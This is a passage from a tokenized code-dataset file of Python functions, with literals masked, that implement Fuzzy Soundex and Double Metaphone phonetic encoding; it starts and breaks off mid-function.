word.translate(self._trans)<EOL>sdx = sdx.replace('<STR_LIT:->', '<STR_LIT>')<EOL>sdx = self._delete_consecutive_repeats(sdx)<EOL>if word[<NUM_LIT:0>] in {'<STR_LIT:H>', '<STR_LIT>', '<STR_LIT:Y>'}:<EOL><INDENT>sdx = word[<NUM_LIT:0>] + sdx<EOL><DEDENT>else:<EOL><INDENT>sdx = word[<NUM_LIT:0>] + sdx[<NUM_LIT:1>:]<EOL><DEDENT>sdx = sdx.replace('<STR_LIT:0>', '<STR_LIT>')<EOL>if zero_pad:<EOL><INDENT>sdx += '<STR_LIT:0>' * max_length<EOL><DEDENT>return sdx[:max_length]<EOL>", "docstring": "Return the Fuzzy Soundex code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 4)\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The Fuzzy Soundex value\n\n        Examples\n        --------\n        >>> pe = FuzzySoundex()\n        >>> pe.encode('Christopher')\n        'K6931'\n        >>> pe.encode('Niall')\n        'N4000'\n        >>> pe.encode('Smith')\n        'S5300'\n        >>> pe.encode('Smith')\n        'S5300'", "id": "f6610:c0:m0"}
{"signature": "def double_metaphone(word, max_length=-<NUM_LIT:1>):", "body": "return DoubleMetaphone().encode(word, max_length)<EOL>", "docstring": "Return the Double Metaphone code for a word.\n\n    This is a wrapper for :py:meth:`DoubleMetaphone.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The maximum length of the returned Double Metaphone codes (defaults to\n        unlimited, but in Philips' original implementation this was 4)\n\n    Returns\n    -------\n    tuple\n        The Double Metaphone value(s)\n\n    Examples\n    --------\n    >>> double_metaphone('Christopher')\n    ('KRSTFR', '')\n    >>> double_metaphone('Niall')\n    ('NL', '')\n    >>> double_metaphone('Smith')\n    ('SM0', 'XMT')\n    >>> double_metaphone('Schmidt')\n    ('XMT', 'SMT')", "id": "f6611:m0"}
{"signature": "def encode(self, word, max_length=-<NUM_LIT:1>):", "body": "<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = max(<NUM_LIT:4>, max_length)<EOL><DEDENT>primary = '<STR_LIT>'<EOL>secondary = '<STR_LIT>'<EOL>def _slavo_germanic():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if '<STR_LIT>' in word or '<STR_LIT>' in word or '<STR_LIT>' in word:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL><DEDENT>def _metaph_add(pri, sec='<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>newpri = primary<EOL>newsec = secondary<EOL>if pri:<EOL><INDENT>newpri += pri<EOL><DEDENT>if sec:<EOL><INDENT>if sec != '<STR_LIT:U+0020>':<EOL><INDENT>newsec += sec<EOL><DEDENT><DEDENT>else:<EOL><INDENT>newsec += pri<EOL><DEDENT>return newpri, newsec<EOL><DEDENT>def _is_vowel(pos):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if pos >= <NUM_LIT:0> and word[pos] in {'<STR_LIT:A>', '<STR_LIT:E>', '<STR_LIT:I>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT:Y>'}:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL><DEDENT>def _get_at(pos):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return word[pos]<EOL><DEDENT>def _string_at(pos, slen, substrings):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if pos < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>return word[pos : pos + slen] in substrings<EOL><DEDENT>current = <NUM_LIT:0><EOL>length = len(word)<EOL>if length < <NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>last = length - <NUM_LIT:1><EOL>word = word.upper()<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word += '<STR_LIT:U+0020>'<EOL>if word[<NUM_LIT:0>:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>if _get_at(<NUM_LIT:0>) == '<STR_LIT:X>':<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')  <EOL>current += <NUM_LIT:1><EOL><DEDENT>while True:<EOL><INDENT>if current >= length:<EOL><INDENT>break<EOL><DEDENT>if _get_at(current) in {'<STR_LIT:A>', '<STR_LIT:E>', '<STR_LIT:I>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT:Y>'}:<EOL><INDENT>if current == <NUM_LIT:0>:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:A>')<EOL><DEDENT>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:B>':<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:P>')<EOL>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:B>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:C>':<EOL><INDENT>if (<EOL>current > <NUM_LIT:1><EOL>and not _is_vowel(current - <NUM_LIT:2>)<EOL>and _string_at((current - <NUM_LIT:1>), <NUM_LIT:3>, {'<STR_LIT>'})<EOL>and (<EOL>(_get_at(current + <NUM_LIT:2>) != '<STR_LIT:I>')<EOL>and (<EOL>(_get_at(current + <NUM_LIT:2>) != '<STR_LIT:E>')<EOL>or _string_at(<EOL>(current - <NUM_LIT:2>), <NUM_LIT:6>, {'<STR_LIT>', '<STR_LIT>'}<EOL>)<EOL>)<EOL>)<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif current == <NUM_LIT:0> and _string_at(current, <NUM_LIT:6>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:4>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>if current > <NUM_LIT:0> and _string_at(current, <NUM_LIT:4>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:X>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif (<EOL>current == <NUM_LIT:0><EOL>and (<EOL>_string_at((current + <NUM_LIT:1>), <NUM_LIT:5>, {'<STR_LIT>', '<STR_LIT>'})<EOL>or _string_at(<EOL>(current + <NUM_LIT:1>), <NUM_LIT:3>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>)<EOL>)<EOL>and not _string_at(<NUM_LIT:0>, <NUM_LIT:5>, {'<STR_LIT>'})<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif (<EOL>(<EOL>_string_at(<NUM_LIT:0>, <NUM_LIT:4>, {'<STR_LIT>', '<STR_LIT>'})<EOL>or _string_at(<NUM_LIT:0>, <NUM_LIT:3>, {'<STR_LIT>'})<EOL>)<EOL>or<EOL>_string_at(<EOL>(current - <NUM_LIT:2>), <NUM_LIT:6>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>)<EOL>or _string_at((current + <NUM_LIT:2>), <NUM_LIT:1>, {'<STR_LIT:T>', '<STR_LIT:S>'})<EOL>or (<EOL>(<EOL>_string_at(<EOL>(current - <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:A>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT:E>'}<EOL>)<EOL>or (current == <NUM_LIT:0>)<EOL>)<EOL>and<EOL>_string_at(<EOL>(current + <NUM_LIT:2>),<EOL><NUM_LIT:1>,<EOL>{<EOL>'<STR_LIT:L>',<EOL>'<STR_LIT:R>',<EOL>'<STR_LIT:N>',<EOL>'<STR_LIT:M>',<EOL>'<STR_LIT:B>',<EOL>'<STR_LIT:H>',<EOL>'<STR_LIT:F>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:U+0020>',<EOL>},<EOL>)<EOL>)<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if current > <NUM_LIT:0>:<EOL><INDENT>if _string_at(<NUM_LIT:0>, <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>', '<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>')<EOL><DEDENT><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}) and not _string_at(<EOL>(current - <NUM_LIT:2>), <NUM_LIT:4>, {'<STR_LIT>'}<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>', '<STR_LIT:X>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at((current + <NUM_LIT:1>), <NUM_LIT:3>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>')<EOL>current += <NUM_LIT:3><EOL><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}) and not (<EOL>(current == <NUM_LIT:1>) and (_get_at(<NUM_LIT:0>) == '<STR_LIT:M>')<EOL>):<EOL><INDENT>if _string_at(<EOL>(current + <NUM_LIT:2>), <NUM_LIT:1>, {'<STR_LIT:I>', '<STR_LIT:E>', '<STR_LIT:H>'}<EOL>) and not _string_at((current + <NUM_LIT:2>), <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>if (<EOL>(current == <NUM_LIT:1>) and _get_at(current - <NUM_LIT:1>) == '<STR_LIT:A>'<EOL>) or _string_at((current - <NUM_LIT:1>), <NUM_LIT:5>, {'<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>')<EOL><DEDENT>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT>else:  <EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>if _string_at(current, <NUM_LIT:3>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>', '<STR_LIT:X>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>if _string_at((current + <NUM_LIT:1>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>current += <NUM_LIT:3><EOL><DEDENT>elif _string_at(<EOL>(current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:C>', '<STR_LIT>', '<STR_LIT>'}<EOL>) and not _string_at((current + <NUM_LIT:1>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT><DEDENT>elif _get_at(current) == '<STR_LIT:D>':<EOL><INDENT>if _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>if _string_at((current + <NUM_LIT:2>), <NUM_LIT:1>, {'<STR_LIT:I>', '<STR_LIT:E>', '<STR_LIT:Y>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:T>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:T>')<EOL>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT><DEDENT>elif _get_at(current) == '<STR_LIT:F>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:F>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT:F>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:H>':<EOL><INDENT>if (current > <NUM_LIT:0>) and not _is_vowel(current - <NUM_LIT:1>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif current == <NUM_LIT:0>:<EOL><INDENT>if _get_at(current + <NUM_LIT:2>) == '<STR_LIT:I>':<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif (<EOL>(<EOL>(current > <NUM_LIT:1>)<EOL>and _string_at((current - <NUM_LIT:2>), <NUM_LIT:1>, {'<STR_LIT:B>', '<STR_LIT:H>', '<STR_LIT:D>'})<EOL>)<EOL>or<EOL>(<EOL>(current > <NUM_LIT:2>)<EOL>and _string_at((current - <NUM_LIT:3>), <NUM_LIT:1>, {'<STR_LIT:B>', '<STR_LIT:H>', '<STR_LIT:D>'})<EOL>)<EOL>or<EOL>(<EOL>(current > <NUM_LIT:3>)<EOL>and _string_at((current - <NUM_LIT:4>), <NUM_LIT:1>, {'<STR_LIT:B>', '<STR_LIT:H>'})<EOL>)<EOL>):<EOL><INDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>if (<EOL>(current > <NUM_LIT:2>)<EOL>and (_get_at(current - <NUM_LIT:1>) == '<STR_LIT>')<EOL>and (<EOL>_string_at(<EOL>(current - <NUM_LIT:3>), <NUM_LIT:1>, {'<STR_LIT:C>', '<STR_LIT>', '<STR_LIT:L>', '<STR_LIT:R>', '<STR_LIT:T>'}<EOL>)<EOL>)<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:F>')<EOL><DEDENT>elif (current > <NUM_LIT:0>) and _get_at(current - <NUM_LIT:1>) != '<STR_LIT:I>':<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT><DEDENT>elif _get_at(current + <NUM_LIT:1>) == '<STR_LIT:N>':<EOL><INDENT>if (<EOL>(current == <NUM_LIT:1>)<EOL>and _is_vowel(<NUM_LIT:0>)<EOL>and not _slavo_germanic()<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:N>')<EOL><DEDENT>elif (<EOL>not _string_at((current + <NUM_LIT:2>), <NUM_LIT:2>, {'<STR_LIT>'})<EOL>and (_get_at(current + <NUM_LIT:1>) != '<STR_LIT:Y>')<EOL>and not _slavo_germanic()<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:N>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif (<EOL>_string_at((current + <NUM_LIT:1>), <NUM_LIT:2>, {'<STR_LIT>'})<EOL>and not _slavo_germanic()<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:L>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif (current == <NUM_LIT:0>) and (<EOL>(_get_at(current + <NUM_LIT:1>) == '<STR_LIT:Y>')<EOL>or _string_at(<EOL>(current + <NUM_LIT:1>),<EOL><NUM_LIT:2>,<EOL>{<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>},<EOL>)<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif (<EOL>(<EOL>_string_at((current + <NUM_LIT:1>), <NUM_LIT:2>, {'<STR_LIT>'})<EOL>or (_get_at(current + <NUM_LIT:1>) == '<STR_LIT:Y>')<EOL>)<EOL>and not _string_at(<NUM_LIT:0>, <NUM_LIT:6>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'})<EOL>and not _string_at((current - <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:E>', '<STR_LIT:I>'})<EOL>and not _string_at((current - <NUM_LIT:1>), <NUM_LIT:3>, {'<STR_LIT>', '<STR_LIT>'})<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at(<EOL>(current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:E>', '<STR_LIT:I>', '<STR_LIT:Y>'}<EOL>) or _string_at((current - <NUM_LIT:1>), <NUM_LIT:4>, {'<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>if (<EOL>_string_at(<NUM_LIT:0>, <NUM_LIT:4>, {'<STR_LIT>', '<STR_LIT>'})<EOL>or _string_at(<NUM_LIT:0>, <NUM_LIT:3>, {'<STR_LIT>'})<EOL>) or _string_at((current + <NUM_LIT:1>), <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>elif _string_at((current + <NUM_LIT:1>), <NUM_LIT:4>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>continue<EOL><DEDENT><DEDENT>elif _get_at(current) == '<STR_LIT:H>':<EOL><INDENT>if ((current == <NUM_LIT:0>) or _is_vowel(current - <NUM_LIT:1>)) and _is_vowel(<EOL>current + <NUM_LIT:1><EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:H>')<EOL>current += <NUM_LIT:2><EOL><DEDENT>else:  <EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>if _string_at(current, <NUM_LIT:4>, {'<STR_LIT>'}) or _string_at(<EOL><NUM_LIT:0>, <NUM_LIT:4>, {'<STR_LIT>'}<EOL>):<EOL><INDENT>if (<EOL>(current == <NUM_LIT:0>) and (_get_at(current + <NUM_LIT:4>) == '<STR_LIT:U+0020>')<EOL>) or _string_at(<NUM_LIT:0>, <NUM_LIT:4>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:H>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:H>')<EOL><DEDENT>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT>elif (current == <NUM_LIT:0>) and not _string_at(current, <NUM_LIT:4>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:A>')<EOL><DEDENT>elif (<EOL>_is_vowel(current - <NUM_LIT:1>)<EOL>and not _slavo_germanic()<EOL>and (<EOL>(_get_at(current + <NUM_LIT:1>) == '<STR_LIT:A>')<EOL>or (_get_at(current + <NUM_LIT:1>) == '<STR_LIT:O>')<EOL>)<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:H>')<EOL><DEDENT>elif current == last:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:U+0020>')<EOL><DEDENT>elif not _string_at(<EOL>(current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:L>', '<STR_LIT:T>', '<STR_LIT>', '<STR_LIT:S>', '<STR_LIT:N>', '<STR_LIT:M>', '<STR_LIT:B>', '<STR_LIT>'}<EOL>) and not _string_at((current - <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:S>', '<STR_LIT>', '<STR_LIT:L>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT>':  <EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:L>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:L>':<EOL><INDENT>if (<EOL>(current == (length - <NUM_LIT:3>))<EOL>and _string_at(<EOL>(current - <NUM_LIT:1>), <NUM_LIT:4>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>)<EOL>) or (<EOL>(<EOL>_string_at((last - <NUM_LIT:1>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>'})<EOL>or _string_at(last, <NUM_LIT:1>, {'<STR_LIT:A>', '<STR_LIT:O>'})<EOL>)<EOL>and _string_at((current - <NUM_LIT:1>), <NUM_LIT:4>, {'<STR_LIT>'})<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:L>', '<STR_LIT:U+0020>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT:L>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:M>':<EOL><INDENT>if (<EOL>(<EOL>_string_at((current - <NUM_LIT:1>), <NUM_LIT:3>, {'<STR_LIT>'})<EOL>and (<EOL>((current + <NUM_LIT:1>) == last)<EOL>or _string_at((current + <NUM_LIT:2>), <NUM_LIT:2>, {'<STR_LIT>'})<EOL>)<EOL>)<EOL>or<EOL>(_get_at(current + <NUM_LIT:1>) == '<STR_LIT:M>')<EOL>):<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT:M>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:N>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:N>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT:N>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>current += <NUM_LIT:1><EOL>primary, secondary = _metaph_add('<STR_LIT:N>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:P>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:H>':<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:F>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at((current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:P>', '<STR_LIT:B>'}):<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT:P>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:R>':<EOL><INDENT>if (<EOL>(current == last)<EOL>and not _slavo_germanic()<EOL>and _string_at((current - <NUM_LIT:2>), <NUM_LIT:2>, {'<STR_LIT>'})<EOL>and not _string_at((current - <NUM_LIT:4>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>'})<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:R>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:R>')<EOL><DEDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:R>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT:S>':<EOL><INDENT>if _string_at((current - <NUM_LIT:1>), <NUM_LIT:3>, {'<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT>elif (current == <NUM_LIT:0>) and _string_at(current, <NUM_LIT:5>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>', '<STR_LIT:S>')<EOL>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>if _string_at(<EOL>(current + <NUM_LIT:1>), <NUM_LIT:4>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>')<EOL><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:3>, {'<STR_LIT>', '<STR_LIT>'}) or _string_at(<EOL>current, <NUM_LIT:4>, {'<STR_LIT>'}<EOL>):<EOL><INDENT>if not _slavo_germanic():<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>', '<STR_LIT:X>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL><DEDENT>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT>elif (<EOL>(current == <NUM_LIT:0>)<EOL>and _string_at((current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:M>', '<STR_LIT:N>', '<STR_LIT:L>', '<STR_LIT>'})<EOL>) or _string_at((current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>', '<STR_LIT:X>')<EOL>if _string_at((current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT>'}):<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>if _get_at(current + <NUM_LIT:2>) == '<STR_LIT:H>':<EOL><INDENT>if _string_at(<EOL>(current + <NUM_LIT:3>),<EOL><NUM_LIT:2>,<EOL>{'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'},<EOL>):<EOL><INDENT>if _string_at((current + <NUM_LIT:3>), <NUM_LIT:2>, {'<STR_LIT>', 